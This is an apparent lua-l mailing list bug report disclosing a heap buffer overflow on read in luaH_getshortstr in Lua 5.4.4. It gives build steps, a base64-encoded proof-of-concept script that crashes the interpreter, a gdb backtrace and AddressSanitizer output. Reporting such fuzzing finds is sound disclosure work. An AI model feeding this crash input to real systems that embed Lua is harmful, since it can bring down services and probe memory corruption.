lua-users home
lua-l archive

[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]


Hi,
 
I found a heap a heap buffer overflow on read in luaH_getshortstr function.
 
Lua version:
Lua 5.4.4  Copyright (C) 1994-2022 Lua.org, PUC-Rio (commit 5d708c3f9cae12820e415d4f89c9eacbe2ab964b)
 
How to reprocude:
----------
1. git clone https://github.com/lua/lua -q
2. cd lua/ && make -j$(nproc)
3. echo -n "bG9jYWwgdSxfLE4sXyx3LE4sZCxXCmZ1bmN0aW9uIGMoRSxMLGwsUyxULHUsTSxULGwsaCxoLHUsdSxsLGgsaCx1LHUsTSx1LHUsdSxsLGgsaCxsKXM9cyBsb2NhbAllLGUsXyxfLE4sZSxzMCxOLFYsXyBmdW5jdGlvbiBjKGIsbClpLHM9TiBsb2NhbCBjIGxvY2FsIF9FTlY8Y29uc3Q+ID0wIG89MCBmdW5jdGlvbiBlKCllbmQ7ZSIicmV0dXJuIGVuZDtlMCxhLHcscyxzLHM9IiJyZXR1cm4jYyIiZW5kO2VlPSIicmV0dXJuDGMiIg==" | base64 -d > poc
4. ./lua ./poc
----------
 
Tested on Ubuntu-20.04 x86_64.
 
Debug log:
===================
pres1er :: /dev/shm/lua ‹master*› » gdb ./lua -q
Reading symbols from ./lua...
(gdb) r ./poc.lua
Starting program: /run/shm/lua/lua ./poc.lua
 
Program received signal SIGSEGV, Segmentation fault.
luaH_getshortstr (t=0x55555559d410, key=0x555555598110) at ltable.c:760
760         if (keyisshrstr(n) && eqshrstr(keystrval(n), key))
(gdb) list
755     */
756     const TValue *luaH_getshortstr (Table *t, TString *key) {
757       Node *n = hashstr(t, key);
758       lua_assert(key->tt == LUA_VSHRSTR);
759       for (;;) {  /* check whether 'key' is somewhere in the chain */
760         if (keyisshrstr(n) && eqshrstr(keystrval(n), key))
761           return gval(n);  /* that's it */
762         else {
763           int nx = gnext(n);
764           if (nx == 0)
(gdb) bt
#0  luaH_getshortstr (t=0x55555559d410, key=0x555555598110) at ltable.c:760
#1  0x000055555556c2b8 in luaT_gettmbyobj (L=L@entry=0x5555555972a8, o=o@entry=0x55555559fb50, event=event@entry=TM_NEWINDEX) at ltm.c:83
#2  0x000055555556db4c in luaV_finishset (L=L@entry=0x5555555972a8, t=t@entry=0x55555559fb50, key=0x5555555a0870, val=0x55555559f890, slot=<optimized out>) at lvm.c:348
#3  0x000055555556f4cf in luaV_execute (L=L@entry=0x5555555972a8, ci=<optimized out>) at lvm.c:1336
#4  0x0000555555561834 in ccall (inc=65537, nResults=<optimized out>, func=<optimized out>, L=0x5555555972a8) at ldo.c:609
#5  luaD_callnoyield (L=0x5555555972a8, func=<optimized out>, nResults=<optimized out>) at ldo.c:627
#6  0x00005555555607b2 in luaD_rawrunprotected (L=L@entry=0x5555555972a8, f=f@entry=0x55555555cdd0 <f_call>, ud=ud@entry=0x7fffffffda40) at ldo.c:144
#7  0x0000555555561b62 in luaD_pcall (L=L@entry=0x5555555972a8, func=func@entry=0x55555555cdd0 <f_call>, u=u@entry=0x7fffffffda40, old_top=80, ef=<optimized out>) at ldo.c:926
#8  0x000055555555e57e in lua_pcallk (L=0x5555555972a8, nargs=<optimized out>, nresults=-1, errfunc=<optimized out>, ctx=<optimized out>, k=<optimized out>) at lapi.c:1067
#9  0x000055555555beaf in docall (L=0x5555555972a8, narg=0, nres=-1) at lua.c:160
#10 0x000055555555cb1e in handle_script (argv=<optimized out>, L=0x5555555972a8) at lua.c:255
#11 pmain (L=0x5555555972a8) at lua.c:634
#12 0x00005555555614af in precallC (f=0x55555555c4d0 <pmain>, nresults=1, func=<optimized out>, L=0x5555555972a8) at ldo.c:506
#13 luaD_precall (L=L@entry=0x5555555972a8, func=<optimized out>, nresults=1) at ldo.c:572
#14 0x000055555556181b in ccall (inc=65537, nResults=<optimized out>, func=<optimized out>, L=0x5555555972a8) at ldo.c:607
#15 luaD_callnoyield (L=0x5555555972a8, func=<optimized out>, nResults=<optimized out>) at ldo.c:627
#16 0x00005555555607b2 in luaD_rawrunprotected (L=L@entry=0x5555555972a8, f=f@entry=0x55555555cdd0 <f_call>, ud=ud@entry=0x7fffffffdcc0) at ldo.c:144
#17 0x0000555555561b62 in luaD_pcall (L=L@entry=0x5555555972a8, func=func@entry=0x55555555cdd0 <f_call>, u=u@entry=0x7fffffffdcc0, old_top=16, ef=<optimized out>) at ldo.c:926
#18 0x000055555555e57e in lua_pcallk (L=0x5555555972a8, nargs=<optimized out>, nresults=1, errfunc=<optimized out>, ctx=<optimized out>, k=<optimized out>) at lapi.c:1067
#19 0x000055555555bb7f in main (argc=2, argv=0x7fffffffddf8) at lua.c:660
===================
 
Sanitizer output:
=================================================================
==6116==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61a000000628 at pc 0x0000005a4f86 bp 0x7ffd5ebde290 sp 0x7ffd5ebde288
READ of size 1 at 0x61a000000628 thread T0
    #0 0x5a4f85 in luaV_execute /home/presler/fuzzing/lua/lvm.c:1332:13
    #1 0x4fd7d3 in ccall /home/presler/fuzzing/lua/ldo.c:609:5
    #2 0x4f37bf in luaD_rawrunprotected /home/presler/fuzzing/lua/ldo.c:144:3
    #3 0x5004d8 in luaD_pcall /home/presler/fuzzing/lua/ldo.c:926:12
    #4 0x4de05e in lua_pcallk /home/presler/fuzzing/lua/lapi.c:1067:14
    #5 0x4c8ddb in docall /home/presler/fuzzing/lua/lua.c:160:12
    #6 0x4c794a in handle_script /home/presler/fuzzing/lua/lua.c:255:14
    #7 0x4c794a in pmain /home/presler/fuzzing/lua/lua.c:634:7
    #8 0x4fc00b in precallC /home/presler/fuzzing/lua/ldo.c:506:7
    #9 0x4fca30 in luaD_precall /home/presler/fuzzing/lua/ldo.c
    #10 0x4fd789 in ccall /home/presler/fuzzing/lua/ldo.c:607:13
    #11 0x4f37bf in luaD_rawrunprotected /home/presler/fuzzing/lua/ldo.c:144:3
    #12 0x5004d8 in luaD_pcall /home/presler/fuzzing/lua/ldo.c:926:12
    #13 0x4de05e in lua_pcallk /home/presler/fuzzing/lua/lapi.c:1067:14
    #14 0x4c6442 in main /home/presler/fuzzing/lua/lua.c:660:12
    #15 0x7f125522f0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #16 0x41e5ad in _start (/home/presler/fuzzing/lua/lua+0x41e5ad)
 
Address 0x61a000000628 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/lua/lvm.c:1332:13 in luaV_execute
Shadow bytes around the buggy address:
  0x0c347fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff80a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c347fff80b0: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
=>0x0c347fff80c0: fa fa fa fa fa[fa]fa fa fa fa fa fa fa fa fa fa
  0x0c347fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c347fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c347fff80f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c347fff8100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c347fff8110: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6116==ABORTING
 
 
 
Found by: Nikita Knyzhov